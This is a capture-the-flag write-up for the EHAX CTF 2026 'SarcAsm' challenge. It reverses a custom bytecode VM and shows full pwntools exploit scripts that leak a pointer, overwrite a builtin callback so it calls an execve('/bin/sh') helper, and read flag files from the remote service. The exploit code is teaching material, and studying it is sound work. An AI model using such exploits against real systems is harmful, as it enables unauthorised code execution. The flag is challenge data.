EHAX CTF 2026 - SarcAsm - Binary Exploitation Writeup

Category: Binary Exploitation

Flag: EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}

Challenge Description#

Unsarcastically, introducing the best asm in market: SarcAsm

Analysis#

The handout was a VM challenge bundle (sarcasm, custom libc.so.6, and loader), so I treated it like parser/bytecode pwn instead of classic stack ROP. The protection profile on the host binary is very hardened (PIE, canary, full RELRO, NX, SHSTK/IBT), which strongly suggested the intended path would be logic/VM memory corruption rather than native return-address control.

1
file "/home/LIGHT/sarcasm/handout/sarcasm"
2
checksec "/home/LIGHT/sarcasm/handout/sarcasm"

1
/home/LIGHT/sarcasm/handout/sarcasm: ELF 64-bit LSB pie executable, x86-64, ... stripped
2
[*] '/home/LIGHT/sarcasm/handout/sarcasm'
3
    Arch:       amd64-64-little
4
    RELRO:      Full RELRO
5
    Stack:      Canary found
6
    NX:         NX enabled
7
    PIE:        PIE enabled
8
    SHSTK:      Enabled
9
    IBT:        Enabled

The key click came from reversing the VM metadata and dispatch tables. BUILTIN and CALL are real VM opcodes (0x40 and 0x41), and their object type is callable object type 3. That meant I should target object internals used by CALL, not native ELF control flow.

1
from pathlib import Path
2
import struct
3

4
p = Path('/home/LIGHT/sarcasm/handout/sarcasm').read_bytes()
5
base_fo = 0x8A80
6
ro_va = 0x7000
7

8
def read_cstr(va: int) -> str:
9
    out = []
10
    idx = va - ro_va
11
    while idx < len(p) and p[idx] != 0:
12
        out.append(chr(p[idx]))
13
        idx += 1
14
    return ''.join(out)
15

16
for i in range(0x19):
17
    rec = p[base_fo + i * 0x18 : base_fo + i * 0x18 + 0x18]
18
    name_ptr = struct.unpack_from('<Q', rec, 0)[0]
19
    opcode = struct.unpack_from('<I', rec, 8)[0]
20
    if i in (19, 20):
21
        print(i, hex(opcode), read_cstr(name_ptr))

1
19 0x140 BUILTIN
2
20 0x141 CALL

Then I confirmed the builtin function-pointer table in .data.rel.ro: builtin id 0 points to 0x31d0 and builtin id 1 points to 0x2ee0.

1
objdump -s --start-address=0x9a50 --stop-address=0x9ac0 "/home/LIGHT/sarcasm/handout/sarcasm"

1
Contents of section .data.rel.ro:
2
 9a60 d0310000 00000000 01000000 00000000  .1.............
3
 9a70 e02e0000 00000000 00000000 00000000  ................

The winning target was nearby in the same PIE image: 0x3000 is a tiny helper that does execve("/bin/sh", ...) and exits. So a partial pointer rewrite from builtin-1 callback (0x2ee0) to shell helper (0x3000) is enough to get code execution.

1
objdump -M intel --start-address=0x3000 --stop-address=0x3050 -d "/home/LIGHT/sarcasm/handout/sarcasm"

1
0000000000003000 <.text+0xc00>:
2
 3000: ...
3
 301b: 48 b8 2f 62 69 6e 2f 73 68 00  movabs rax,0x68732f6e69622f
4
 ...
5
 303d: e8 ce f2 ff ff                  call   2310 <execve@plt>

At that point, the exploit strategy became a two-stage VM payload: first leak 8 bytes from the builtin object (so PIE can be derived reliably under ASLR), then write back the forged callback pointer and trigger CALL 0 to jump into execve("/bin/sh"). Local validation showed the chain was correct and stable enough to run commands from the spawned shell.

smug

1
from pwn import process, p32, p64, u64
2

3
code = bytes.fromhex(
4
    '20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 '
5
    '00 30 00 23 30 00 25 00 08 41 00 ff'
6
)
7

8
io = process([
9
    '/home/LIGHT/sarcasm/handout/ld-linux-x86-64.so.2',
10
    '--library-path',
11
    '/home/LIGHT/sarcasm/handout',
12
    '/home/LIGHT/sarcasm/handout/sarcasm',
13
])
14

15
io.send(p32(len(code)) + code)
16
leak = io.recvn(8, timeout=2)
17
ptr = u64(leak)
18
base = ptr - 0x2EE0
19
target = base + 0x3000
20

21
io.send(p64(target))
22
io.sendline(b'echo LOCAL_OK')
23
io.sendline(b'exit')
24
out = io.recvall(timeout=2)
25

26
print('leak', hex(ptr))
27
print(out.decode(errors='ignore'))

1
leak 0x7f41d1a1cee0
2
LOCAL_OK

Remote service behavior was noisy (some connections returned no leak bytes), so I wrapped the same primitive in retry logic. Once a full 8-byte leak landed, the overwrite/trigger path worked immediately and the shell output contained the real flag.

dance

1
import re
2
import time
3

4
from pwn import remote, p32, p64, u64
5

6
HOST = 'chall.ehax.in'
7
PORT = 9999
8
code = bytes.fromhex(
9
    '20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 '
10
    '00 30 00 23 30 00 25 00 08 41 00 ff'
11
)
12

13
for i in range(1, 21):
14
    try:
15
        io = remote(HOST, PORT, timeout=8)
16
    except Exception:
17
        continue
18

19
    try:
20
        io.send(p32(len(code)) + code)
21
        leak = io.recvn(8, timeout=8)
22
        if len(leak) != 8:
23
            io.close()
24
            continue
25

26
        ptr = u64(leak)
27
        base = ptr - 0x2EE0
28
        target = base + 0x3000
29
        io.send(p64(target))
30

31
        io.sendline(b'echo START')
32
        io.sendline(b'cat flag.txt')
33
        io.sendline(b'cat /flag')
34
        io.sendline(b'cat /flag.txt')
35
        io.sendline(b'exit')
36

37
        out = io.recvall(timeout=6).decode(errors='ignore')
38
        print(i, 'leaklen', len(leak), leak.hex())
39
        print(out)
40

41
        m = re.search(r'[A-Za-z0-9_]+\{[^}\n]+\}', out)
42
        if m:
43
            print('FLAG', m.group(0))
44
            break
45
    finally:
46
        try:
47
            io.close()
48
        except Exception:
49
            pass
50
        time.sleep(0.3)

1
9 leaklen 8 e08edfd60b580000
2
START
3
EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}
4

5
FLAG EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}

Solution#

1
import re
2
import time
3

4
from pwn import remote, p32, p64, u64
5

6
HOST = "chall.ehax.in"
7
PORT = 9999
8

9
# VM program:
10
# 1) create stale callable object and leak 8-byte builtin callback pointer
11
# 2) overwrite callback with execve('/bin/sh') helper address
12
# 3) CALL 0 to execute shell helper
13
CODE = bytes.fromhex(
14
    "20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 "
15
    "00 30 00 23 30 00 25 00 08 41 00 ff"
16
)
17

18
def try_once() -> str | None:
19
    io = remote(HOST, PORT, timeout=8)
20
    io.send(p32(len(CODE)) + CODE)
21

22
    leak = io.recvn(8, timeout=8)
23
    if len(leak) != 8:
24
        io.close()
25
        return None
26

27
    leaked_ptr = u64(leak)
28
    pie_base = leaked_ptr - 0x2EE0
29
    shell_helper = pie_base + 0x3000
30

31
    io.send(p64(shell_helper))
32
    io.sendline(b"echo START")
33
    io.sendline(b"cat flag.txt")
34
    io.sendline(b"cat /flag")
35
    io.sendline(b"cat /flag.txt")
36
    io.sendline(b"exit")
37

38
    out = io.recvall(timeout=6).decode(errors="ignore")
39
    io.close()
40

41
    m = re.search(r"[A-Za-z0-9_]+\{[^}\n]+\}", out)
42
    return m.group(0) if m else None
43

44
def main() -> None:
45
    for _ in range(20):
46
        flag = try_once()
47
        if flag:
48
            print(flag)
49
            return
50
        time.sleep(0.3)
51
    raise RuntimeError("flag not recovered in retry window")
52

53
if __name__ == "__main__":
54
    main()

1
python3.12 solve.py

1
EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}